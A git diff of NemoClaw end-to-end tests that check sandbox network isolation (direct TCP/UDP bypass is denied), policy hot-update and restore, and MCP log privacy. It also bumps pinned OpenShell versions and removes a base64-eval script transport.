+  host: HostCliClient,
+  containerId: string,
+  pid: number,
+  readyPath: string,
+  logPath: string,
+): Promise<void> {
+  const result = await host.command(
+    "docker",
+    [
+      "exec",
+      "--user",
+      "0",
+      containerId,
+      "sh",
+      "-ceu",
+      'kill "$1" 2>/dev/null || true; rm -f "$2" "$3"',
+      "exact-main-bypass-cleanup",
+      String(pid),
+      readyPath,
+      logPath,
+    ],
+    {
+      artifactName: "exact-main-bypass-listener-cleanup",
+      env: buildAvailabilityProbeEnv(),
+      timeoutMs: 30_000,
+    },
+  );
+  expectExitZero(result, "stop exact-main controlled bypass listener");
+}
+
+async function assertDirectBypassDenied(options: {
+  cleanup: CleanupRegistry;
+  host: HostCliClient;
+  containerId: string;
+  sandbox: SandboxClient;
+  sandboxName: string;
+  version: number;
+}): Promise<JsonRecord> {
+  const readyPath = `/tmp/nemoclaw-exact-main-bypass-${options.version}.ready`;
+  const logPath = `/tmp/nemoclaw-exact-main-bypass-${options.version}.log`;
+  const start = await options.host.command(
+    "docker",
+    [
+      "exec",
+      "--user",
+      "0",
+      options.containerId,
+      "sh",
+      "-ceu",
+      START_BYPASS_SERVER_SCRIPT,
+      "exact-main-bypass-listener",
+      readyPath,
+      logPath,
+      BYPASS_SERVER_CODE,
+      NETNS_PROXY_HOST,
+    ],
+    {
+      artifactName: "exact-main-bypass-listener-start",
+      env: buildAvailabilityProbeEnv(),
+      timeoutMs: 30_000,
+    },
+  );
+  expectExitZero(start, "start controlled TCP/UDP bypass listener");
+  const match = start.stdout.trim().match(/^(\d+)\s+(\d+)$/u);
+  if (!match) throw new Error(`unexpected bypass listener identity: ${start.stdout}`);
+  const pid = Number(match[1]);
+  const port = Number(match[2]);
+  let listenerRunning = true;
+  const cleanupListener = async () => {
+    if (!listenerRunning) return;
+    await stopBypassServer(options.host, options.containerId, pid, readyPath, logPath);
+    listenerRunning = false;
+  };
+  options.cleanup.add("stop exact-main controlled TCP/UDP bypass listener", cleanupListener);
+  try {
+    const probe = await options.sandbox.exec(
+      options.sandboxName,
+      ["python3", "-c", DIRECT_BYPASS_PROBE_CODE, NETNS_PROXY_HOST, String(port)],
+      {
+        artifactName: "exact-main-direct-tcp-udp-bypass-denied",
+        env: sandboxAccessEnv(),
+        timeoutMs: 30_000,
+      },
+    );
+    expectExitZero(probe, "deny direct IPv4 TCP and UDP bypass to controlled listeners");
+    const parsed: unknown = JSON.parse(probe.stdout);
+    if (!isRecord(parsed)) throw new Error("direct bypass probe must return a JSON object");
+    return parsed;
+  } finally {
+    await cleanupListener();
+  }
+}
+
+export async function assertExactMainPolicyNftAndIdentityContracts(options: {
+  artifacts: ArtifactSink;
+  cleanup: CleanupRegistry;
+  host: HostCliClient;
+  mcpUrl: string;
+  sandbox: SandboxClient;
+  sandboxName: string;
+}): Promise<void> {
+  if (process.env.NEMOCLAW_OPENSHELL_EXACT_MAIN_PROOF !== "1") return;
+
+  const base = await options.sandbox.openshell(["policy", "get", "--base", options.sandboxName], {
+    artifactName: "exact-main-policy-get-base-before-contract",
+    env: sandboxAccessEnv(),
+    timeoutMs: POLICY_TIMEOUT_MS,
+  });
+  expectExitZero(base, "capture exact-main base policy");
+  const basePolicyYaml = parseOpenShellPolicy(base.stdout).yamlBody;
+  const tempDir = await fs.mkdtemp(path.join(os.tmpdir(), "nemoclaw-exact-main-policy-"));
+  await fs.chmod(tempDir, 0o700);
+  const basePolicyPath = path.join(tempDir, "base.yaml");
+  const identityPolicyPath = path.join(tempDir, "identity.yaml");
+  await fs.writeFile(basePolicyPath, basePolicyYaml, { encoding: "utf8", mode: 0o600 });
+  await fs.writeFile(identityPolicyPath, buildIdentityPolicy(basePolicyYaml, options.mcpUrl), {
+    encoding: "utf8",
+    mode: 0o600,
+  });
+  let removeTemp = true;
+  const cleanupTemp = async () => {
+    if (!removeTemp) return;
+    await fs.rm(tempDir, { force: true, recursive: true });
+    removeTemp = false;
+  };
+  options.cleanup.add("remove exact-main policy proof temp files", cleanupTemp);
+
+  let restoreRequired = false;
+  const restorePolicy = async () => {
+    if (!restoreRequired) return;
+    const restored = await options.sandbox.openshell(
+      ["policy", "set", "--policy", basePolicyPath, "--wait", options.sandboxName],
+      {
+        artifactName: "exact-main-policy-restore",
+        env: sandboxAccessEnv(),
+        timeoutMs: POLICY_TIMEOUT_MS,
+      },
+    );
+    expectExitZero(restored, "restore exact-main base policy");
+    const verify = await options.sandbox.openshell(
+      ["policy", "get", "--base", options.sandboxName],
+      {
+        artifactName: "exact-main-policy-restore-verify",
+        env: sandboxAccessEnv(),
+        timeoutMs: POLICY_TIMEOUT_MS,
+      },
+    );
+    expectExitZero(verify, "verify exact-main base policy restoration");
+    expect(parseOpenShellPolicy(verify.stdout).yamlBody).not.toContain(EXACT_MAIN_POLICY_KEY);
+    restoreRequired = false;
+  };
+  options.cleanup.add("restore exact-main base policy", restorePolicy);
+
+  try {
+    const before = await readPolicyStatus(
+      options.sandbox,
+      options.sandboxName,
+      [],
+      "exact-main-policy-effective-before-mutation",
+    );
+    restoreRequired = true;
+    const apply = await options.sandbox.openshell(
+      ["policy", "set", "--policy", identityPolicyPath, "--wait", options.sandboxName],
+      {
+        artifactName: "exact-main-policy-hot-update",
+        env: sandboxAccessEnv(),
+        timeoutMs: POLICY_TIMEOUT_MS,
+      },
+    );
+    expectExitZero(apply, "apply exact-main live-exe identity policy");
+    const effective = await readPolicyStatus(
+      options.sandbox,
+      options.sandboxName,
+      [],
+      "exact-main-policy-effective-after-hot-update",
+    );
+    expect(effective.version).toBeGreaterThan(before.version);
+    expect(effective.activeVersion).toBe(effective.version);
+    expect(effective.status).toBe("effective");
+    expect(effective.policySource).toBe("sandbox");
+    const revision = await readPolicyStatus(
+      options.sandbox,
+      options.sandboxName,
+      ["--rev", String(effective.version)],
+      "exact-main-policy-revision-after-hot-update",
+    );
+    expect(revision).toMatchObject({
+      activeVersion: effective.version,
+      hash: effective.hash,
+      sandbox: options.sandboxName,
+      status: "loaded",
+      version: effective.version,
+    });
+
+    const containerId = await findSandboxContainer(
+      options.host,
+      options.sandboxName,
+      "exact-main-sandbox-container-before-restart",
+    );
+    const beforeRestartNft = await inspectNftRules(
+      options.host,
+      containerId,
+      "exact-main-nft-rules-before-restart",
+    );
+    const restart = await options.host.command("docker", ["restart", containerId], {
+      artifactName: "exact-main-sandbox-container-restart",
+      env: buildAvailabilityProbeEnv(),
+      timeoutMs: POLICY_TIMEOUT_MS,
+    });
+    expectExitZero(restart, "restart exact-main OpenShell sandbox container");
+    const restartedContainerId = await findSandboxContainer(
+      options.host,
+      options.sandboxName,
+      "exact-main-sandbox-container-after-restart",
+    );
+    expect(restartedContainerId).toBe(containerId);
+    const restartedPolicy = await waitForRestartedPolicy(
+      options.sandbox,
+      options.sandboxName,
+      effective,
+    );
+    const acknowledgement = await waitForInitialPolicyAcknowledgement(
+      options.sandbox,
+      options.sandboxName,
+      effective.version,
+    );
+    const afterRestartNft = await inspectNftRules(
+      options.host,
+      restartedContainerId,
+      "exact-main-nft-rules-after-restart",
+    );
+    const bypass = await assertDirectBypassDenied({
+      cleanup: options.cleanup,
+      containerId: restartedContainerId,
+      host: options.host,
+      sandbox: options.sandbox,
+      sandboxName: options.sandboxName,
+      version: effective.version,
+    });
+
+    const liveExe = await options.sandbox.execShell(
+      options.sandboxName,
+      trustedSandboxShellScript(buildExactMainLiveExeIdentityScript(options.mcpUrl)),
+      {
+        artifactName: "exact-main-live-proc-exe-identity",
+        env: sandboxAccessEnv(),
+        timeoutMs: POLICY_TIMEOUT_MS,
+      },
+    );
+    expectExitZero(liveExe, "prove live /proc/<pid>/exe identity across on-disk replacement");
+    expect(liveExe.stdout).toContain("NEMOCLAW_LIVE_EXE_OLD_FIRST=200");
+    expect(liveExe.stdout).toContain("NEMOCLAW_LIVE_EXE_OLD_SECOND=200");
+    expect(liveExe.stdout).toContain("NEMOCLAW_LIVE_EXE_NEW=403");
+    expect(liveExe.stdout).toMatch(/NEMOCLAW_LIVE_EXE_OLD_LINK=.*live-bash \(deleted\)/u);
+
+    await options.artifacts.writeJson("exact-main-policy-nft-identity-summary.json", {
+      acknowledgement,
+      bypass,
+      nftAfterRestart: afterRestartNft.inspection,
+      nftBeforeRestart: beforeRestartNft.inspection,
+      policyAfterRestart: restartedPolicy,
+      policyHotUpdate: { effective, revision },
+    });
+  } finally {
+    try {
+      await restorePolicy();
+    } finally {
+      await cleanupTemp();
+    }
+  }
+}
+
+export async function assertExactMainMcpLogPrivacy(options: {
+  argumentCanaries: string[];
+  artifacts: ArtifactSink;
+  expectedTool: string;
+  sandbox: SandboxClient;
+  sandboxName: string;
+}): Promise<void> {
+  if (process.env.NEMOCLAW_OPENSHELL_EXACT_MAIN_PROOF !== "1") return;
+  const logs = await options.sandbox.openshell(
+    ["logs", options.sandboxName, "-n", "4000", "--since", "10m", "--source", "sandbox"],
+    {
+      artifactName: "exact-main-mcp-policy-logs",
+      env: sandboxAccessEnv(),
+      redactionValues: options.argumentCanaries,
+      timeoutMs: 30_000,
+    },
+  );
+  expectExitZero(logs, "read exact-main MCP policy logs");
+  const fullLogs = logs.stdout;
+  for (const canary of options.argumentCanaries) {
+    expect(fullLogs).not.toContain(canary);
+  }
+  expect(fullLogs).not.toContain("[REDACTED]");
+  expect(fullLogs).not.toMatch(/\barguments\b["']?\s*[:=]/iu);
+
+  const jsonRpcLines = fullLogs
+    .split(/\r?\n/u)
+    .filter((line) => line.includes("JSONRPC_L7_REQUEST"));
+  const toolLines = jsonRpcLines.filter(
+    (line) =>
+      line.includes("decision=allow") &&
+      line.includes("rule_methods=tools/call") &&
+      line.includes(`tools=${options.expectedTool}`),
+  );
+  expect(toolLines, jsonRpcLines.join("\n")).not.toHaveLength(0);
+  await options.artifacts.writeText(
+    "exact-main-mcp-tool-name-policy-logs.txt",
+    `${jsonRpcLines.join("\n")}\n`,
+  );
+}
diff --git a/test/e2e/live/openshell-gateway-auth-source-contract-helpers.ts b/test/e2e/live/openshell-gateway-auth-source-contract-helpers.ts
index 221c3500fb..2ac00bd15f 100644
--- a/test/e2e/live/openshell-gateway-auth-source-contract-helpers.ts
+++ b/test/e2e/live/openshell-gateway-auth-source-contract-helpers.ts
@@ -647,7 +647,7 @@ async function runOpenShellGatewayAuthSourceContractScenarioUnchecked(
 
   const version = run(gatewayBin, ["--version"]);
   expect(version.status, commandOutput(version)).toBe(0);
-  expect(commandOutput(version)).toContain(process.env.NEMOCLAW_CANDIDATE_VERSION ?? "0.0.72");
+  expect(commandOutput(version)).toContain(process.env.NEMOCLAW_CANDIDATE_VERSION || "0.0.85");
 
   await requireDockerDaemon({ dockerBin, host, skip });
 
diff --git a/test/e2e/live/openshell-gateway-auth-source-contract.test.ts b/test/e2e/live/openshell-gateway-auth-source-contract.test.ts
index 7e10be3d02..3565512166 100644
--- a/test/e2e/live/openshell-gateway-auth-source-contract.test.ts
+++ b/test/e2e/live/openshell-gateway-auth-source-contract.test.ts
@@ -7,7 +7,7 @@ import { test } from "../fixtures/e2e-test.ts";
 import { runOpenShellGatewayAuthSourceContractScenario } from "./openshell-gateway-auth-source-contract-helpers.ts";
 
 const LIVE_TIMEOUT_MS = 8 * 60_000;
-const OPENSHELL_GATEWAY_AUTH_CONTRACT_VERSION = process.env.NEMOCLAW_CANDIDATE_VERSION ?? "0.0.72";
+const OPENSHELL_GATEWAY_AUTH_CONTRACT_VERSION = process.env.NEMOCLAW_CANDIDATE_VERSION ?? "0.0.85";
 
 test(
   `OpenShell ${OPENSHELL_GATEWAY_AUTH_CONTRACT_VERSION} Docker-driver gateway auth uses NemoClaw mTLS plus sandbox JWT`,
diff --git a/test/e2e/live/openshell-gateway-upgrade.test.ts b/test/e2e/live/openshell-gateway-upgrade.test.ts
index cc8e4a9ef5..2871916f5a 100644
--- a/test/e2e/live/openshell-gateway-upgrade.test.ts
+++ b/test/e2e/live/openshell-gateway-upgrade.test.ts
@@ -56,7 +56,7 @@ const OLD_INSTALLER_SHA256 =
   process.env.NEMOCLAW_OLD_INSTALLER_SHA256 ??
   "0c42400a0d3867739f1d75d612e069967be4506e169974bbbebf14b7af39144f";
 const OLD_OPENSHELL_VERSION = process.env.NEMOCLAW_OLD_OPENSHELL_VERSION ?? "0.0.36";
-const CURRENT_OPENSHELL_VERSION = process.env.NEMOCLAW_CURRENT_OPENSHELL_VERSION ?? "0.0.72";
+const CURRENT_OPENSHELL_VERSION = process.env.NEMOCLAW_CURRENT_OPENSHELL_VERSION ?? "0.0.85";
 const OLD_SANDBOX_BASE_IMAGE_REF =
   process.env.NEMOCLAW_OLD_SANDBOX_BASE_IMAGE_REF ??
   "ghcr.io/nvidia/nemoclaw/sandbox-base@sha256:104151ffadc2ff0b6c815e3c95c2783ced61aee0d0f83fc327cc02be9b7e14e6";
@@ -185,8 +185,8 @@ async function bash(
 
 // The frozen release installers are the source of truth, but their embedded
 // Dockerfiles predate the fixture pins needed for a deterministic upgrade test.
-// Keep this adapter scoped to the v0.0.36/v0.0.55 lanes and retire it with
-// those historical lanes; changing the tagged release payloads is not viable.
+// Keep this adapter scoped to the frozen historical lanes and retire it with
+// them; changing the tagged release payloads is not viable.
 function patchOldInstallerFixture(installer: string): void {
   const needle = '  legacy_script="${source_root}/install.sh"\n';
   const hook =
diff --git a/test/e2e/live/openshell-version-pin.test.ts b/test/e2e/live/openshell-version-pin.test.ts
index 860465e9db..e555f16259 100644
--- a/test/e2e/live/openshell-version-pin.test.ts
+++ b/test/e2e/live/openshell-version-pin.test.ts
@@ -13,8 +13,8 @@ import { REPO_ROOT } from "../fixtures/paths.ts";
 
 // #3474). The former bash script is a self-contained installer-script behavioral
 // test: it runs scripts/install-openshell.sh under a stubbed PATH where the
-// already-installed openshell reports a too-new version (0.0.73) and the
-// downloaded archives produce a binary that reports the pinned 0.0.72.
+// already-installed openshell reports a too-new version (0.0.86) and the
+// downloaded archives produce a binary that reports the pinned 0.0.85.
 //
 // This credential-free E2E test does not exercise
 // the registry-driven steady-state probe model. There is no OpenClaw instance,
@@ -23,7 +23,7 @@ import { REPO_ROOT } from "../fixtures/paths.ts";
 
 const INSTALL_SCRIPT = path.join(REPO_ROOT, "scripts", "install-openshell.sh");
 
-test("openshell-version-pin: selects shipping 0.0.72 between older and too-new releases", () => {
+test("openshell-version-pin: selects shipping 0.0.85 between older and too-new releases", () => {
   const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-openshell-resolver-"));
   const binDir = path.join(tmpDir, "bin");
   fs.mkdirSync(binDir);
@@ -31,9 +31,9 @@ test("openshell-version-pin: selects shipping 0.0.72 between older and too-new r
     path.join(binDir, "gh"),
     `#!/bin/sh
 printf '%s\\n' '${JSON.stringify([
-      { tagName: "v0.0.71" },
-      { tagName: "v0.0.73" },
-      { tagName: "v0.0.72" },
+      { tagName: "v0.0.81" },
+      { tagName: "v0.0.86" },
+      { tagName: "v0.0.85" },
     ])}'`,
   );
 
@@ -48,17 +48,17 @@ printf '%s\\n' '${JSON.stringify([
 const pin = require(${JSON.stringify(path.join(REPO_ROOT, "src/lib/onboard/openshell-pin.ts"))});
 const version = require(${JSON.stringify(path.join(REPO_ROOT, "src/lib/onboard/openshell-version.ts"))});
 const deps = {
-  getBlueprintMinOpenshellVersion: () => "0.0.72",
-  getBlueprintMaxOpenshellVersion: () => "0.0.72",
+  getBlueprintMinOpenshellVersion: () => "0.0.85",
+  getBlueprintMaxOpenshellVersion: () => "0.0.85",
   versionGte: version.versionGte,
 };
 const resolution = pin.resolveOpenshellInstallPin(deps);
 const replacement = pin.computeOpenshellInstallEnv(
-  { INSTALLED_OPENSHELL_VERSION: "0.0.71" },
+  { INSTALLED_OPENSHELL_VERSION: "0.0.81" },
   deps,
 );
 process.stdout.write(JSON.stringify({
-  installed: version.getInstalledOpenshellVersion("openshell 0.0.71"),
+  installed: version.getInstalledOpenshellVersion("openshell 0.0.81"),
   resolution,
   replacement: replacement.env,
 }));`,
@@ -71,13 +71,13 @@ process.stdout.write(JSON.stringify({
     );
     expect(result.status, result.stderr).toBe(0);
     expect(JSON.parse(result.stdout)).toEqual({
-      installed: "0.0.71",
-      resolution: { kind: "pin", version: "0.0.72", latest: "0.0.73", reason: "max-cap" },
+      installed: "0.0.81",
+      resolution: { kind: "pin", version: "0.0.85", latest: "0.0.86", reason: "max-cap" },
       replacement: {
-        INSTALLED_OPENSHELL_VERSION: "0.0.71",
-        NEMOCLAW_OPENSHELL_MIN_VERSION: "0.0.72",
-        NEMOCLAW_OPENSHELL_MAX_VERSION: "0.0.72",
-        NEMOCLAW_OPENSHELL_PIN_VERSION: "0.0.72",
+        INSTALLED_OPENSHELL_VERSION: "0.0.81",
+        NEMOCLAW_OPENSHELL_MIN_VERSION: "0.0.85",
+        NEMOCLAW_OPENSHELL_MAX_VERSION: "0.0.85",
+        NEMOCLAW_OPENSHELL_PIN_VERSION: "0.0.85",
       },
     });
   } finally {
@@ -86,9 +86,9 @@ process.stdout.write(JSON.stringify({
 });
 
 const PINNED_OPEN_SHELL_SHA256 = {
-  cliLinuxX64: "37836c3b50383e03249c5e16512c1806e591fba8451408a84fb2f628ddb318c4",
-  gatewayLinuxX64: "03225fb9388b682af1a5f1614b26b75f828da6031e3ffc1fd920b6fbe5f70877",
-  sandboxLinuxX64: "811f914b6a6a3a3f4533449ddebebb6422333861a27a5fa848db6cbfdffdd230",
+  cliLinuxX64: "078fa086f506832c3d47d992e6109f26074bdd55916ce268e47c3971423459eb",
+  gatewayLinuxX64: "718cc9f942f88565cacb13c39717b128d6acc8d336212d42d26243f36ab19ece",
+  sandboxLinuxX64: "94306f057d862cd5c34a0daa7692491733bc5ca528a7b92f9f62f717fb70a9be",
 };
 
 type GhDownloadMode = "success" | "fail";
@@ -98,7 +98,7 @@ function writeExecutable(target: string, contents: string): void {
 }
 
 // Bash helpers shared by the gh and curl stubs: write a fake archive and emit
-// the same pinned digest lines the real OpenShell v0.0.72 release uses. A fake
+// the same pinned digest lines the real OpenShell v0.0.85 release uses. A fake
 // sha256sum below keeps this test self-contained even though the tarball bytes are
 // synthetic.
 const SHARED_DOWNLOAD_BASH_HELPERS = `\
@@ -346,11 +346,11 @@ async function runVersionPinTarget(
     fs.writeFileSync(downloadLog, "");
 
     createFakeUname(fakeBin);
-    createFakeStickyOpenshell(fakeBin, "0.0.73");
+    createFakeStickyOpenshell(fakeBin, "0.0.86");
     createFakeHelperBinaries(fakeBin);
     createFakeGh(fakeBin, downloadLog, options.ghDownloadMode);
     createFakeCurl(fakeBin, downloadLog);
-    createFakeTar(fakeBin, "0.0.72");
+    createFakeTar(fakeBin, "0.0.85");
     createFakeStrings(fakeBin);
     createFakeSha256sum(fakeBin);
 
@@ -373,40 +373,40 @@ async function runVersionPinTarget(
     // "above the maximum" hard-fail before download).
     expect(result.status, `${result.stdout}\n${result.stderr}`).toBe(0);
 
-    // Assertion 2: download-log-contains-v0.0.72 — pinned release tag was
+    // Assertion 2: download-log-contains-v0.0.85 — pinned release tag was
     // requested from the release host.
     const downloads = fs.readFileSync(downloadLog, "utf-8");
-    expect(downloads).toContain("v0.0.72");
+    expect(downloads).toContain("v0.0.85");
 
-    // Assertion 3: download-log-excludes-v0.0.73 — the too-new sticky version
+    // Assertion 3: download-log-excludes-v0.0.86 — the too-new sticky version
     // is never re-fetched.
-    expect(downloads).not.toContain("v0.0.73");
+    expect(downloads).not.toContain("v0.0.86");
 
     if (options.ghDownloadMode === "fail") {
       // Assertion 3b: curl-fallback-observed — the installer must recover from
       // gh download failure by re-requesting the pinned assets via curl.
-      expect(downloads).toContain("gh download-fail v0.0.72");
+      expect(downloads).toContain("gh download-fail v0.0.85");
       expect(downloads).toContain("curl ");
     } else {
-      expect(downloads).toContain("gh download v0.0.72");
+      expect(downloads).toContain("gh download v0.0.85");
       expect(downloads).not.toContain("curl ");
     }
 
-    // Assertion 4: replaced-openshell-reports-0.0.72 — the binary on disk in
+    // Assertion 4: replaced-openshell-reports-0.0.85 — the binary on disk in
     // the active install dir (== fakeBin, since ACTIVE_OPENSHELL_BIN resolved
-    // there and it is writable) was overwritten with the pinned 0.0.72 build.
+    // there and it is writable) was overwritten with the pinned 0.0.85 build.
     const replacedVersion = spawnSync(path.join(fakeBin, "openshell"), ["--version"], {
       encoding: "utf8",
     });
     expect(replacedVersion.status).toBe(0);
-    expect(replacedVersion.stdout).toContain("0.0.72");
-    expect(replacedVersion.stdout).not.toContain("0.0.73");
+    expect(replacedVersion.stdout).toContain("0.0.85");
+    expect(replacedVersion.stdout).not.toContain("0.0.86");
   } finally {
     fs.rmSync(tmp, { recursive: true, force: true });
   }
 }
 
-test("openshell-version-pin: replaces sticky too-new openshell with pinned 0.0.72 via gh download", async ({
+test("openshell-version-pin: replaces sticky too-new openshell with pinned 0.0.85 via gh download", async ({
   artifacts,
 }) => {
   await runVersionPinTarget(artifacts, { ghDownloadMode: "success" });
diff --git a/test/e2e/live/phase6-messaging-helpers.ts b/test/e2e/live/phase6-messaging-helpers.ts
index 3358af802e..4bfd20ace2 100644
--- a/test/e2e/live/phase6-messaging-helpers.ts
+++ b/test/e2e/live/phase6-messaging-helpers.ts
@@ -275,7 +275,7 @@ export async function sandboxSh(
   });
 }
 
-export async function sandboxEncodedSh(
+export async function sandboxShWithArgs(
   sandbox: SandboxClient,
   sandboxName: string,
   script: string,
@@ -286,13 +286,12 @@ export async function sandboxEncodedSh(
     timeoutMs?: number;
   },
 ): Promise<ShellProbeResult> {
-  const command = [
-    "tmp=$(mktemp)",
-    "trap 'rm -f \"$tmp\"' EXIT",
-    `printf %s ${shellQuote(base64(script))} | base64 -d > "$tmp"`,
-    `sh "$tmp" ${args.map(shellQuote).join(" ")}`,
-  ].join("; ");
-  return sandboxSh(sandbox, sandboxName, command, options);
+  return sandbox.exec(sandboxName, ["sh", "-c", script, "nemoclaw-e2e-script", ...args], {
+    artifactName: options.artifactName,
+    env: sandboxAccessEnv(),
+    redactionValues: options.redactionValues ?? [],
+    timeoutMs: options.timeoutMs ?? COMMAND_TIMEOUT_MS,
+  });
 }
 
 export async function sandboxNode(
@@ -315,7 +314,7 @@ export async function sandboxNode(
       return `export ${key}=${shellQuote(value)}`;
     })
     .join("\n");
-  return sandboxEncodedSh(
+  return sandboxShWithArgs(
     sandbox,
     sandboxName,
     `${exports}\nnode --input-type=module <<'NODE'\n${source}\nNODE\n`,
diff --git a/test/e2e/live/rebuild-openclaw.test.ts b/test/e2e/live/rebuild-openclaw.test.ts
index 0359528cbb..e6d54fc353 100644
--- a/test/e2e/live/rebuild-openclaw.test.ts
+++ b/test/e2e/live/rebuild-openclaw.test.ts
@@ -1,7 +1,6 @@
 // SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
 // SPDX-License-Identifier: Apache-2.0
 
-import { Buffer } from "node:buffer";
 import fs from "node:fs";
 import os from "node:os";
 import path from "node:path";
@@ -166,8 +165,7 @@ async function cleanupOldOpenClawBaseImage(host: HostCliClient): Promise<void> {
 }
 
 function pythonExecArgs(script: string): string[] {
-  const encoded = Buffer.from(script, "utf8").toString("base64");
-  return ["python3", "-c", `import base64; exec(base64.b64decode('${encoded}'))`];
+  return ["python3", "-c", script];
 }
 
 async function waitForSandboxReady(sandbox: {
diff --git a/test/e2e/live/skill-agent.test.ts b/test/e2e/live/skill-agent.test.ts
index 52d081c01d..b3f6ef1720 100644
--- a/test/e2e/live/skill-agent.test.ts
+++ b/test/e2e/live/skill-agent.test.ts
@@ -60,8 +60,8 @@ function sleep(ms: number): Promise<void> {
 }
 
 function buildVerifySkillFixtureScript(): string {
-  // OpenShell rejects newline-bearing command args, so keep this readable as
-  // discrete clauses while emitting a single-line `sh -lc` script.
+  // Keep this readable as discrete clauses while emitting one atomic `sh -lc`
+  // expression with consistent error propagation.
   const skillPaths = [
     `/sandbox/.openclaw/skills/${SKILL_ID}/SKILL.md`,
     `\${HOME:-/home/sandbox}/.openclaw/skills/${SKILL_ID}/SKILL.md`,
diff --git a/test/e2e/mock-parity.json b/test/e2e/mock-parity.json
index 0d5c9cb834..31da6469b2 100644
--- a/test/e2e/mock-parity.json
+++ b/test/e2e/mock-parity.json
@@ -57,6 +57,15 @@
         "test/e2e/support/openshell-gateway-auth-source-contract-helpers.test.ts"
       ]
     },
+    {
+      "live": "test/e2e/live/openshell-credential-generation-window.test.ts",
+      "fast": [
+        "test/openshell-credential-generation-window.test.ts",
+        "test/mcp-artifact-secret-scan.test.ts",
+        "test/mcp-agent-matrix-artifact-proof.test.ts",
+        "test/e2e/support/mcp-workflow-boundary.test.ts"
+      ]
+    },
     {
       "live": "test/e2e/live/openclaw-tui-chat-correlation.test.ts",
       "fast": [
@@ -374,6 +383,9 @@
     {
       "live": "test/e2e/live/openshell-version-pin.test.ts",
       "fast": [
+        "test/e2e/support/e2e-workflow.test.ts",
+        "test/install-openshell-version-check.test.ts",
+        "test/installer-hash-check.test.ts",
         "test/onboard-openshell-version.test.ts",
         "test/runner.test.ts"
       ]
diff --git a/test/e2e/support/e2e-clients.test.ts b/test/e2e/support/e2e-clients.test.ts
index 230a937075..629e143e31 100644
--- a/test/e2e/support/e2e-clients.test.ts
+++ b/test/e2e/support/e2e-clients.test.ts
@@ -1,8 +1,6 @@
 // SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
 // SPDX-License-Identifier: Apache-2.0
 
-import { Buffer } from "node:buffer";
-import { spawnSync } from "node:child_process";
 import fs from "node:fs";
 import os from "node:os";
 import path from "node:path";
@@ -26,6 +24,7 @@ import type {
   ShellProbeRunOptions,
   TrustedShellCommand,
 } from "../fixtures/shell-probe.ts";
+import { sandboxShWithArgs } from "../live/phase6-messaging-helpers.ts";
 
 interface RunnerCall {
   command: string;
@@ -527,11 +526,10 @@ describe("E2E fixture clients", () => {
     ]);
   });
 
-  it("sandbox client wraps shell scripts with the named sandbox exec form", async () => {
+  it("sandbox client passes trusted shell scripts through the named sandbox exec form", async () => {
     const runner = new FakeRunner();
     const sandbox = new SandboxClient(runner, { openshellPath: "openshell" });
     const script = trustedSandboxShellScript("echo ready");
-    const encodedScript = Buffer.from(script, "utf8").toString("base64");
 
     expectTypeOf<
       Parameters<SandboxClient["execShell"]>[1]
@@ -544,20 +542,7 @@ describe("E2E fixture clients", () => {
 
     expect(runner.calls[0]).toEqual({
       command: "openshell",
-      args: [
-        "sandbox",
-        "exec",
-        "-n",
-        "assistant",
-        "--",
-        "sh",
-        "-lc",
-        [
-          "command -v base64 >/dev/null 2>&1 || { echo NEMOCLAW_BASE64_MISSING >&2; exit 127; }",
-          `_NEMOCLAW_E2E_SCRIPT="$(printf '%s' '${encodedScript}' | base64 -d)" || exit $?`,
-          `eval "$_NEMOCLAW_E2E_SCRIPT"`,
-        ].join("; "),
-      ],
+      args: ["sandbox", "exec", "-n", "assistant", "--", "sh", "-lc", script],
       options: {
         artifactName: "custom-exec-shell",
         timeoutMs: 123,
@@ -565,7 +550,7 @@ describe("E2E fixture clients", () => {
     });
   });
 
-  it("sandbox client keeps multiline shell scripts out of OpenShell argv", async () => {
+  it("sandbox client preserves multiline shell bytes in one OpenShell argv element", async () => {
     const runner = new FakeRunner();
     const sandbox = new SandboxClient(runner, { openshellPath: "openshell" });
     const script = trustedSandboxShellScript("set -eu\nprintf '%s\\n' ready\r\n");
@@ -573,25 +558,53 @@ describe("E2E fixture clients", () => {
     await sandbox.execShell("assistant", script);
 
     const payload = runner.calls[0]?.args.at(-1) ?? "";
-    expect(payload).not.toMatch(/[\r\n]/);
-    const encodedScript = payload.match(/'([A-Za-z0-9+/=]+)'/)?.[1] ?? "";
-    expect(Buffer.from(encodedScript, "base64").toString("utf8")).toBe(script);
+    expect(payload).toBe(script);
+    expect(payload).toContain("\n");
+    expect(payload).toContain("\r\n");
   });
 
-  it("sandbox client fails closed when the sandbox has no base64 decoder", async () => {
+  it("sandbox client does not add an eval or decoder transport", async () => {
     const runner = new FakeRunner();
     const sandbox = new SandboxClient(runner, { openshellPath: "openshell" });
 
-    await sandbox.execShell("assistant", trustedSandboxShellScript("echo should-not-run"));
+    const script = trustedSandboxShellScript("echo should-run-directly");
+    await sandbox.execShell("assistant", script);
 
     const payload = runner.calls[0]?.args.at(-1) ?? "";
-    const result = spawnSync("/bin/sh", ["-c", payload], {
-      encoding: "utf8",
-      env: { PATH: "" },
+    expect(payload).toBe(script);
+    expect(payload).not.toContain("base64");
+    expect(payload).not.toContain("eval");
+  });
+
+  it("phase-six shell helpers preserve multiline source and positional arguments", async () => {
+    const runner = new FakeRunner();
+    const sandbox = new SandboxClient(runner, { openshellPath: "openshell" });
+    const script = "set -eu\nprintf '%s\\n' \"$1\"";
+    const argument = "line one\r\nline two";
+
+    await sandboxShWithArgs(sandbox, "assistant", script, [argument], {
+      artifactName: "phase-six-native-argv",
+      redactionValues: ["sensitive-marker"],
+      timeoutMs: 321,
+    });
+
+    expect(runner.calls[0]?.args).toEqual([
+      "sandbox",
+      "exec",
+      "-n",
+      "assistant",
+      "--",
+      "sh",
+      "-c",
+      script,
+      "nemoclaw-e2e-script",
+      argument,
+    ]);
+    expect(runner.calls[0]?.options).toMatchObject({
+      artifactName: "phase-six-native-argv",
+      redactionValues: ["sensitive-marker"],
+      timeoutMs: 321,
     });
-    expect(result.status).toBe(127);
-    expect(result.stderr).toContain("NEMOCLAW_BASE64_MISSING");
-    expect(result.stdout).not.toContain("should-not-run");
   });
 
   it("sandbox client requires trusted non-empty shell scripts", () => {
diff --git a/test/e2e/support/mcp-bridge-runtime-compatibility-cli.test.ts b/test/e2e/support/mcp-bridge-runtime-compatibility-cli.test.ts
index 2a535cde55..4a1f73fb5b 100644
